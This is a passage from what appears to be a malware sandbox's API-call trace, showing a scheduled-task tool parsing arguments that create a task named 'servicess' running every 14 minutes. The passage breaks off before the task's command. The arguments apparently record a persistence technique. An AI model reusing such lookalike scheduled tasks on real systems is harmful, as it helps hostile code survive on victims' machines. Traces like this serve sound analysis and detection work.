_Buffer="|tn|") returned 4 [0060.472] lstrlenW (lpString="|change|") returned 8 [0060.472] lstrlenW (lpString="|tn|") returned 4 [0060.472] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0060.472] SetLastError (dwErrCode=0x490) [0060.472] lstrlenW (lpString="run") returned 3 [0060.472] lstrlenW (lpString="run") returned 3 [0060.472] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.473] lstrlenW (lpString="tn") returned 2 [0060.473] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.473] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|run|") returned 5 [0060.473] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|tn|") returned 4 [0060.473] lstrlenW (lpString="|run|") returned 5 [0060.473] lstrlenW (lpString="|tn|") returned 4 [0060.473] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0060.473] SetLastError (dwErrCode=0x490) [0060.473] lstrlenW (lpString="end") returned 3 [0060.473] lstrlenW (lpString="end") returned 3 [0060.473] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.473] lstrlenW (lpString="tn") returned 2 [0060.473] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.473] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|end|") returned 5 [0060.473] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|tn|") returned 4 [0060.473] lstrlenW (lpString="|end|") returned 5 [0060.473] lstrlenW (lpString="|tn|") returned 4 [0060.473] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0060.474] SetLastError (dwErrCode=0x490) [0060.474] lstrlenW (lpString="showsid") returned 7 [0060.474] lstrlenW (lpString="showsid") returned 7 [0060.474] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.474] GetProcessHeap () returned 0x200000 [0060.474] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3c0) returned 1 [0060.474] GetProcessHeap () returned 0x200000 [0060.474] RtlReAllocateHeap (Heap=0x200000, Flags=0xc, Ptr=0x21c3c0, Size=0x16) returned 0x21c3c0 [0060.474] lstrlenW (lpString="tn") returned 2 [0060.474] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.474] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|showsid|") returned 9 [0060.474] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|tn|") returned 4 [0060.474] lstrlenW (lpString="|showsid|") returned 9 [0060.474] lstrlenW (lpString="|tn|") returned 4 [0060.475] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0060.475] SetLastError (dwErrCode=0x490) [0060.475] SetLastError (dwErrCode=0x490) [0060.475] SetLastError (dwErrCode=0x0) [0060.475] lstrlenW (lpString="/tn") returned 3 [0060.475] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0060.475] SetLastError (dwErrCode=0x490) [0060.475] SetLastError (dwErrCode=0x0) [0060.475] lstrlenW (lpString="/tn") returned 3 [0060.475] GetProcessHeap () returned 0x200000 [0060.475] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8) returned 0x21c360 [0060.475] GetProcessHeap () returned 0x200000 [0060.475] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cd90 [0060.475] SetLastError (dwErrCode=0x0) [0060.475] SetLastError (dwErrCode=0x0) [0060.475] lstrlenW (lpString="servicess") returned 9 [0060.475] lstrlenW (lpString="-/") returned 2 [0060.475] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0060.475] SetLastError (dwErrCode=0x490) [0060.475] SetLastError (dwErrCode=0x490) [0060.475] SetLastError (dwErrCode=0x0) [0060.475] lstrlenW (lpString="servicess") returned 9 [0060.475] StrChrIW (lpStart="servicess", wMatch=0x3a) returned 0x0 [0060.475] SetLastError (dwErrCode=0x490) [0060.475] SetLastError (dwErrCode=0x0) [0060.475] lstrlenW (lpString="servicess") returned 9 [0060.475] GetProcessHeap () returned 0x200000 [0060.475] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x14) returned 0x21c3f0 [0060.475] GetProcessHeap () returned 0x200000 [0060.475] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cdc0 [0060.475] SetLastError (dwErrCode=0x0) [0060.475] SetLastError (dwErrCode=0x0) [0060.475] lstrlenW (lpString="/sc") returned 3 [0060.476] lstrlenW (lpString="-/") returned 2 [0060.476] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.476] lstrlenW (lpString="?") returned 1 [0060.476] lstrlenW (lpString="?") returned 1 [0060.476] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.476] lstrlenW (lpString="sc") returned 2 [0060.476] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.476] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|?|") returned 3 [0060.476] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|sc|") returned 4 [0060.476] lstrlenW (lpString="|?|") returned 3 [0060.476] lstrlenW (lpString="|sc|") returned 4 [0060.476] SetLastError (dwErrCode=0x490) [0060.476] lstrlenW (lpString="create") returned 6 [0060.476] lstrlenW (lpString="create") returned 6 [0060.476] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.476] lstrlenW (lpString="sc") returned 2 [0060.476] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.476] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|create|") returned 8 [0060.476] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|sc|") returned 4 [0060.476] lstrlenW (lpString="|create|") returned 8 [0060.476] lstrlenW (lpString="|sc|") returned 4 [0060.476] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0060.476] SetLastError (dwErrCode=0x490) [0060.476] lstrlenW (lpString="delete") returned 6 [0060.476] lstrlenW (lpString="delete") returned 6 [0060.476] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.476] lstrlenW (lpString="sc") returned 2 [0060.477] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.477] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|delete|") returned 8 [0060.477] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|sc|") returned 4 [0060.477] lstrlenW (lpString="|delete|") returned 8 [0060.477] lstrlenW (lpString="|sc|") returned 4 [0060.477] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0060.477] SetLastError (dwErrCode=0x490) [0060.477] lstrlenW (lpString="query") returned 5 [0060.477] lstrlenW (lpString="query") returned 5 [0060.477] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.477] lstrlenW (lpString="sc") returned 2 [0060.477] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.477] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|query|") returned 7 [0060.477] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|sc|") returned 4 [0060.477] lstrlenW (lpString="|query|") returned 7 [0060.477] lstrlenW (lpString="|sc|") returned 4 [0060.477] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0060.477] SetLastError (dwErrCode=0x490) [0060.477] lstrlenW (lpString="change") returned 6 [0060.477] lstrlenW (lpString="change") returned 6 [0060.477] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.477] lstrlenW (lpString="sc") returned 2 [0060.477] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.478] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|change|") returned 8 [0060.478] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|sc|") returned 4 [0060.478] lstrlenW (lpString="|change|") returned 8 [0060.478] lstrlenW (lpString="|sc|") returned 4 [0060.478] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0060.478] SetLastError (dwErrCode=0x490) [0060.478] lstrlenW (lpString="run") returned 3 [0060.478] lstrlenW (lpString="run") returned 3 [0060.478] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.478] lstrlenW (lpString="sc") returned 2 [0060.478] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.478] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|run|") returned 5 [0060.478] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|sc|") returned 4 [0060.478] lstrlenW (lpString="|run|") returned 5 [0060.478] lstrlenW (lpString="|sc|") returned 4 [0060.478] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0060.478] SetLastError (dwErrCode=0x490) [0060.478] lstrlenW (lpString="end") returned 3 [0060.478] lstrlenW (lpString="end") returned 3 [0060.478] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.478] lstrlenW (lpString="sc") returned 2 [0060.478] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.478] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|end|") returned 5 [0060.479] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|sc|") returned 4 [0060.479] lstrlenW (lpString="|end|") returned 5 [0060.479] lstrlenW (lpString="|sc|") returned 4 [0060.479] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0060.479] SetLastError (dwErrCode=0x490) [0060.479] lstrlenW (lpString="showsid") returned 7 [0060.479] lstrlenW (lpString="showsid") returned 7 [0060.479] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.479] lstrlenW (lpString="sc") returned 2 [0060.479] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.479] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|showsid|") returned 9 [0060.479] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|sc|") returned 4 [0060.479] lstrlenW (lpString="|showsid|") returned 9 [0060.479] lstrlenW (lpString="|sc|") returned 4 [0060.479] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0060.479] SetLastError (dwErrCode=0x490) [0060.479] SetLastError (dwErrCode=0x490) [0060.479] SetLastError (dwErrCode=0x0) [0060.479] lstrlenW (lpString="/sc") returned 3 [0060.479] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0060.479] SetLastError (dwErrCode=0x490) [0060.479] SetLastError (dwErrCode=0x0) [0060.479] lstrlenW (lpString="/sc") returned 3 [0060.479] GetProcessHeap () returned 0x200000 [0060.479] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8) returned 0x21c410 [0060.479] GetProcessHeap () returned 0x200000 [0060.480] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cdf0 [0060.480] SetLastError (dwErrCode=0x0) [0060.480] SetLastError (dwErrCode=0x0) [0060.480] lstrlenW (lpString="MINUTE") returned 6 [0060.480] lstrlenW (lpString="-/") returned 2 [0060.480] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0060.480] SetLastError (dwErrCode=0x490) [0060.480] SetLastError (dwErrCode=0x490) [0060.480] SetLastError (dwErrCode=0x0) [0060.480] lstrlenW (lpString="MINUTE") returned 6 [0060.480] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0060.480] SetLastError (dwErrCode=0x490) [0060.480] SetLastError (dwErrCode=0x0) [0060.480] lstrlenW (lpString="MINUTE") returned 6 [0060.480] GetProcessHeap () returned 0x200000 [0060.480] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21c430 [0060.480] GetProcessHeap () returned 0x200000 [0060.480] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ce20 [0060.480] SetLastError (dwErrCode=0x0) [0060.480] SetLastError (dwErrCode=0x0) [0060.480] lstrlenW (lpString="/mo") returned 3 [0060.480] lstrlenW (lpString="-/") returned 2 [0060.480] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.480] lstrlenW (lpString="?") returned 1 [0060.480] lstrlenW (lpString="?") returned 1 [0060.480] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.480] lstrlenW (lpString="mo") returned 2 [0060.480] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.480] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|?|") returned 3 [0060.480] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|mo|") returned 4 [0060.481] lstrlenW (lpString="|?|") returned 3 [0060.481] lstrlenW (lpString="|mo|") returned 4 [0060.481] SetLastError (dwErrCode=0x490) [0060.481] lstrlenW (lpString="create") returned 6 [0060.481] lstrlenW (lpString="create") returned 6 [0060.481] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.481] lstrlenW (lpString="mo") returned 2 [0060.481] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.481] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|create|") returned 8 [0060.481] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|mo|") returned 4 [0060.481] lstrlenW (lpString="|create|") returned 8 [0060.481] lstrlenW (lpString="|mo|") returned 4 [0060.481] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0060.481] SetLastError (dwErrCode=0x490) [0060.481] lstrlenW (lpString="delete") returned 6 [0060.481] lstrlenW (lpString="delete") returned 6 [0060.481] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.481] lstrlenW (lpString="mo") returned 2 [0060.481] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.481] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|delete|") returned 8 [0060.481] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|mo|") returned 4 [0060.481] lstrlenW (lpString="|delete|") returned 8 [0060.481] lstrlenW (lpString="|mo|") returned 4 [0060.481] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0060.481] SetLastError (dwErrCode=0x490) [0060.481] lstrlenW (lpString="query") returned 5 [0060.481] lstrlenW (lpString="query") returned 5 [0060.482] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.482] lstrlenW (lpString="mo") returned 2 [0060.482] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.482] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|query|") returned 7 [0060.482] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|mo|") returned 4 [0060.482] lstrlenW (lpString="|query|") returned 7 [0060.482] lstrlenW (lpString="|mo|") returned 4 [0060.482] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0060.482] SetLastError (dwErrCode=0x490) [0060.482] lstrlenW (lpString="change") returned 6 [0060.482] lstrlenW (lpString="change") returned 6 [0060.482] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.482] lstrlenW (lpString="mo") returned 2 [0060.482] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.482] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|change|") returned 8 [0060.482] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|mo|") returned 4 [0060.482] lstrlenW (lpString="|change|") returned 8 [0060.482] lstrlenW (lpString="|mo|") returned 4 [0060.482] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0060.482] SetLastError (dwErrCode=0x490) [0060.482] lstrlenW (lpString="run") returned 3 [0060.482] lstrlenW (lpString="run") returned 3 [0060.482] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.483] lstrlenW (lpString="mo") returned 2 [0060.483] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.483] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|run|") returned 5 [0060.483] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|mo|") returned 4 [0060.483] lstrlenW (lpString="|run|") returned 5 [0060.483] lstrlenW (lpString="|mo|") returned 4 [0060.483] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0060.483] SetLastError (dwErrCode=0x490) [0060.483] lstrlenW (lpString="end") returned 3 [0060.483] lstrlenW (lpString="end") returned 3 [0060.483] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.483] lstrlenW (lpString="mo") returned 2 [0060.483] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.483] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|end|") returned 5 [0060.483] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|mo|") returned 4 [0060.483] lstrlenW (lpString="|end|") returned 5 [0060.483] lstrlenW (lpString="|mo|") returned 4 [0060.483] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0060.483] SetLastError (dwErrCode=0x490) [0060.483] lstrlenW (lpString="showsid") returned 7 [0060.483] lstrlenW (lpString="showsid") returned 7 [0060.483] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.483] lstrlenW (lpString="mo") returned 2 [0060.483] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.483] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|showsid|") returned 9 [0060.483] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|mo|") returned 4 [0060.483] lstrlenW (lpString="|showsid|") returned 9 [0060.484] lstrlenW (lpString="|mo|") returned 4 [0060.484] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0060.484] SetLastError (dwErrCode=0x490) [0060.484] SetLastError (dwErrCode=0x490) [0060.484] SetLastError (dwErrCode=0x0) [0060.484] lstrlenW (lpString="/mo") returned 3 [0060.484] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0060.484] SetLastError (dwErrCode=0x490) [0060.484] SetLastError (dwErrCode=0x0) [0060.484] lstrlenW (lpString="/mo") returned 3 [0060.484] GetProcessHeap () returned 0x200000 [0060.484] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8) returned 0x21c450 [0060.484] GetProcessHeap () returned 0x200000 [0060.484] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ce50 [0060.484] SetLastError (dwErrCode=0x0) [0060.484] SetLastError (dwErrCode=0x0) [0060.484] lstrlenW (lpString="14") returned 2 [0060.484] lstrlenW (lpString="-/") returned 2 [0060.484] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0060.484] SetLastError (dwErrCode=0x490) [0060.484] SetLastError (dwErrCode=0x490) [0060.484] SetLastError (dwErrCode=0x0) [0060.484] lstrlenW (lpString="14") returned 2 [0060.484] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0060.484] SetLastError (dwErrCode=0x490) [0060.484] SetLastError (dwErrCode=0x0) [0060.484] lstrlenW (lpString="14") returned 2 [0060.484] GetProcessHeap () returned 0x200000 [0060.484] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x6) returned 0x21c470 [0060.484] GetProcessHeap () returned 0x200000 [0060.484] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ce80 [0060.484] SetLastError (dwErrCode=0x0) [0060.484] SetLastError (dwErrCode=0x0) [0060.485] lstrlenW (lpString="/tr") returned 3 [0060.485] lstrlenW (lpString="-/") returned 2 [0060.485] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0060.485] lstrlenW (lpString="?") returned 1 [0060.485] lstrlenW (lpString="?") returned 1 [0060.485] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.485] lstrlenW (lpString="tr") returned 2 [0060.485] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.485] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|?|") returned 3 [0060.485] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|tr|") returned 4 [0060.485] lstrlenW (lpString="|?|") returned 3 [0060.485] lstrlenW (lpString="|tr|") returned 4 [0060.485] SetLastError (dwErrCode=0x490) [0060.485] lstrlenW (lpString="create") returned 6 [0060.485] lstrlenW (lpString="create") returned 6 [0060.485] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.485] lstrlenW (lpString="tr") returned 2 [0060.485] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.485] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|create|") returned 8 [0060.486] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|tr|") returned 4 [0060.486] lstrlenW (lpString="|create|") returned 8 [0060.486] lstrlenW (lpString="|tr|") returned 4 [0060.486] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0060.486] SetLastError (dwErrCode=0x490) [0060.486] lstrlenW (lpString="delete") returned 6 [0060.486] lstrlenW (lpString="delete") returned 6 [0060.486] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.486] lstrlenW (lpString="tr") returned 2 [0060.486] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.486] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|delete|") returned 8 [0060.486] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|tr|") returned 4 [0060.486] lstrlenW (lpString="|delete|") returned 8 [0060.486] lstrlenW (lpString="|tr|") returned 4 [0060.486] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0060.486] SetLastError (dwErrCode=0x490) [0060.486] lstrlenW (lpString="query") returned 5 [0060.486] lstrlenW (lpString="query") returned 5 [0060.487] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.487] lstrlenW (lpString="tr") returned 2 [0060.487] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.487] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|query|") returned 7 [0060.487] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|tr|") returned 4 [0060.487] lstrlenW (lpString="|query|") returned 7 [0060.487] lstrlenW (lpString="|tr|") returned 4 [0060.487] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0060.487] SetLastError (dwErrCode=0x490) [0060.487] lstrlenW (lpString="change") returned 6 [0060.487] lstrlenW (lpString="change") returned 6 [0060.487] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.487] lstrlenW (lpString="tr") returned 2 [0060.487] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.487] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|change|") returned 8 [0060.487] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|tr|") returned 4 [0060.487] lstrlenW (lpString="|change|") returned 8 [0060.487] lstrlenW (lpString="|tr|") returned 4 [0060.487] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0060.487] SetLastError (dwErrCode=0x490) [0060.487] lstrlenW (lpString="run") returned 3 [0060.487] lstrlenW (lpString="run") returned 3 [0060.487] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.487] lstrlenW (lpString="tr") returned 2 [0060.487] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.487] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|run|") returned 5 [0060.487] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|tr|") returned 4 [0060.487] lstrlenW (lpString="|run|") returned 5 [0060.488] lstrlenW (lpString="|tr|") returned 4 [0060.488] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0060.488] SetLastError (dwErrCode=0x490) [0060.488] lstrlenW (lpString="end") returned 3 [0060.488] lstrlenW (lpString="end") returned 3 [0060.488] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.488] lstrlenW (lpString="tr") returned 2 [0060.488] _memicmp (_Buf1=0x21c380, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.488] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|end|") returned 5 [0060.488] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f598 | out: _Buffer="|tr|") returned 4 [0060.488] lstrlenW (lpString="|end|") returned 5 [0060.488] lstrlenW (lpString="|tr|") returned 4 [0060.488] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0060.488] SetLastError (dwErrCode=0x490) [0060.488] lstrlenW (lpString="showsid") returned 7 [0060.488] lstrlenW (lpString="showsid") returned 7 [0060.488] _memicmp (_Buf1=0x21c240, _Buf2=0xff081b08, _Size=0x7) returned 0 [0060.488] 